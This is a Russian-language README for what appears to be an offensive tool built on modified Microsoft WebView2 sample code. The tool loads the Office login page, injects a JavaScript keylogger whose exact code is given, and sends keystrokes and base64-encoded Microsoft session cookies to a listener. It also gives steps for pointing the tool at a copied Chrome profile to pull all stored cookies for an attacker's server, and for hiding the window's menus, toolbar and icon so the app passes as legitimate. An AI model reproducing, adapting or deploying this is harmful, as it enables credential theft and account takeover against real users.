
Внедряет JavaScript-кейлоггер на страницы WebView2 для захвата нажатий клавиш и извлечения файлов cookie из сеансов аутентификации Microsoft с помощью HTTP GET-запросов.
Пожалуйста, прочитайте эту статью в блоге, чтобы получить больше информации.
Этот код является модифицированной версией кода WebView2 от Microsoft. Текущий код можно почистить и значительно улучшить.
Протестировано на Windows 10 и 11.
При выполнении бинарного файла загружается https://office.com/login. На каждую страницу внедряется JavaScript-кейлоггер, и нажатия клавиш отправляются на http://127.0.0.1:8080. Кроме того, после успешной аутентификации пользователя файлы cookie для login.microsoftonline.com кодируются в base64 и отправляются на http://127.0.0.1:8080 через HTTP GET запрос.
Если вы хотите изменить JavaScript, код, который нужно изменить, показан ниже на строке 1096 в AppWindow.cpp.
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
WebView2 позволяет запускать с существующей папкой пользовательских данных (UDF) вместо создания новой. UDF содержит все пароли, сессии, закладки и т.д. UDF Chrome находится по пути C:\Users\<username>\AppData\Local\Google\Chrome\User Data. Мы можем просто указать WebView2 запустить экземпляр, используя этот профиль, и после запуска извлечь все файлы cookie и передать их на сервер атакующего.
Единственная загвоздка в том, что WebView2 ищет папку с именем EBWebView вместо User Data (непонятно почему). Скопируйте папку User Data и переименуйте её в EBWebView.
В строке 41 в app.cpp:
std::wstring userDataFolder(L""); на std::wstring userDataFolder(L"C:\\Path\\To\\Temp");EBWebView, из которой WebView2 будет читать.В строке 40 в ScenarioCookieManagement.cpp:
GetCookiesHelper(L"https://login.microsoftonline.com"); на GetCookiesHelper(L"");Когда GetCookiesHelper вызывается без указания веб-сайта, он извлекает все файлы cookie.
Примечание: Это не будет работать с текущим приложением, если имеется большое количество файлов cookie, так как приложение отправляет их через GET запрос, который имеет ограничение по длине.
Если вы хотите внести изменения в бинарный файл, ниже вы найдёте информацию о важных функциях.
GetUri() содержит URL, который загружается при выполнении бинарного файла.SendCookies() содержит IP-адрес и порт, куда отправляются файлы cookie.CallCookieFunction() ждёт, пока URL начнётся с https://www.office.com/?auth=, и вызывает ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com")POPUP в "".IDS_APP_TITLE и IDC_WEBVIEW2APISAMPLE. Это имя приложения в строке заголовка.IDI_WEBVIEW2APISAMPLE, IDI_WEBVIEW2APISAMPLE_INPRIVATE и IDI_SMALL. Они указывают на файл , который является иконкой этого приложения..icoitemHeight должен быть установлен в 0, чтобы удалить верхнее меню. В этом коде это уже сделано.LoadImage() следует закомментировать. Это скрывает синее заставное изображение. В этом коде это уже сделано.new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); измените последнее значение параметра на true. Это скрывает панель инструментов. В этом коде это уже сделано.